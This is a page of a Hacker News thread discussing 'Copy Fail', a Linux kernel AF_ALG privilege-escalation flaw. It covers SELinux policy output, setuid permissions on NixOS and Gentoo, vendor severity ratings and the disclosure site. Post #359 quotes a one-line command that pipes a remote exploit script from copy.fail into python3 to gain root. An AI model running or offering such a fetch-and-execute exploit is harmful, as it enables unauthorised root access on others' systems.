Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Copy Fail

copy.fail

Post reply on HN
Print view View original

351–360 of 545 posts

Re: Copy Fail

#351

Post by globular-toast »

arcfour wrote: post #233
hackernudes wrote: post #149

LPE = local privilege escalation Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!

LPE is a very well-known acronym within the security community, it's not purely academic or obscure or anything. I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting. Then again, the whole writeup appears to be AI-generated, so...

Sure, but the target audience of copy.fail is surely not the security community but regular sysadmins who probably don't otherwise follow as closely.

Re: Copy Fail

#352

Post by oviet »

CGamesPlay wrote: post #338
markhahn wrote: post #314

Earlier quoted context omitted.

if your model is that linux is just about single-user desktops, this local exploit isn't too bad. or if your model is nothing but DB servers or the like. mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1/10,000 of them are curious/malicious/compromised, we (Canadian national research HPC systems) are at risk.…

> if your model is that linux is just about single-user desktops, this local exploit isn't too bad. For example, if you have passwordless sudo, you've already got a widely known LPE vulnerability lurking on your system.

hmm have i missed anything?

Re: Copy Fail

#353

Post by chuso »

jchw wrote: post #214

I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r: $ ls -lah /run/wrappers/bin/su -r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su Not that this makes the underlying mechanism of the exploit any better, but I w…

It's the same with Gentoo, setuid binaries are installed without read permission.

But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.

Re: Copy Fail

#354

Post by 400thecat »

l1k wrote: post #300
ebiggers wrote: post #232

As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. Th…

It does enable address space separation of secret keys from user space, which some people love: https://blog.cloudflare.com/the-linux-kernel-key-retention-s... https://www.youtube.com/watch?v=7djRRjxaCKk https://www.youtube.com/watch?v=lvZaDE578yc So it's not as simple as "should not exist". I agree though that there doesn't seem to be a valid need to expose authencesn to user space. Disclosure: I'm co-maintaining cr…

can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum

Re: Copy Fail

#355

Post by 400thecat »

ebiggers wrote: post #232

As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. Th…

can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum

Re: Copy Fail

#356

Post by stingraycharles »

ramon156 wrote: post #347
jeffwass wrote: post #336

This submission is currently the main HN submission. As of now the submission title is simply “Copy Fail”. Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability? Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”

I dont really get why you'd - buy a domain - vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong) - post it on HN with no further explanation in the title Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo?? Sorry if this comes over as salty, I guess I'm just not getting the thought process.

I think they’re using it to promote their product, Xint Code, which was used to discover it. That’s the way I read it anyway.

Re: Copy Fail

#357

Post by yrro »

x4132 wrote: post #236
Twirrim wrote: post #170

Earlier quoted context omitted.

> They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine They've done themselves no favours at all with their write up. It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim e…

i mean, it doesn't work on any SELinux, but it's still quite severe anyhow

Have you got any info about this. 'seinfo -c' shows there is an alg_socket class. I presume this permission is required to be able to create an AF_ALG socket:

    $ sesearch -A -c alg_socket -p createallow bluetooth_t bluetooth_t:alg_socket { accept append bind connect create getattr getopt ioctl listen lock read setattr setopt shutdown write };
    allow container_device_plugin_init_t container_device_plugin_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_device_plugin_t container_device_plugin_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_device_t container_device_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_engine_t container_engine_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_init_t container_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_kvm_t container_kvm_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_logreader_t container_logreader_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_logwriter_t container_logwriter_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_t container_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow container_userns_t container_userns_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
    allow openshift_app_t openshift_app_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
    allow openshift_t openshift_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
    allow spc_t unlabeled_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
    allow staff_t staff_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write };
    allow sysadm_t sysadm_t:alg_socket { accept append bind connect create getopt ioctl listen lock read setattr setopt shutdown write };
    allow unconfined_domain_type domain:alg_socket { accept append bind connect create getattr getopt ioctl listen lock map name_bind read recv_msg recvfrom relabelfrom relabelto send_msg sendto setattr setopt shutdown write };
    allow user_t user_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write };
... that's a lot of domains, including container_t and user_t; and obviously anything unconfined_t can't be expected to be restricted.

(Maybe you & others are specifically thinking of Android's policy?)

Re: Copy Fail

#358

Post by Neil44 »

xeeeeeeeeeeenu wrote: post #82

It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros. https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred" https://security-tracker.debian.org/tracker/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 https://www.suse.com/security/cve/CVE-2026-3143…

I thought that. surely people are going crazy right now owning anything with an our of date Wordpress exposed.

Re: Copy Fail

#359

Post by z3n1th »

archon810 wrote: post #342

curl https://copy.fail/exp | python3 && su Traceback (most recent call last): File " ", line 9, in File " ", line 5, in c AttributeError: module 'os' has no attribute 'splice' Does this mean I'm not affected or it's a buggy script? Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".

Re: Copy Fail

#360

Post by vntok »

ramon156 wrote: post #347
jeffwass wrote: post #336

This submission is currently the main HN submission. As of now the submission title is simply “Copy Fail”. Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability? Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”

I dont really get why you'd - buy a domain - vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong) - post it on HN with no further explanation in the title Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo?? Sorry if this comes over as salty, I guess I'm just not getting the thought process.

Definitely comes over as salty. Naming major flaws has been a tradition for decades. Remember Heartbleed? It had a site and a logo :) Shellshock, Meltdown, Spectre as well. A few more: https://github.com/hannob/vulns

This site though is pretty useful; first it serves as a central location to point people to with short links in chats/emails/whatever, then it has a quick visual explainer and a link to the detailed technical report for those who want more info. Pretty neat.

Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn't a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.

Post reply on HN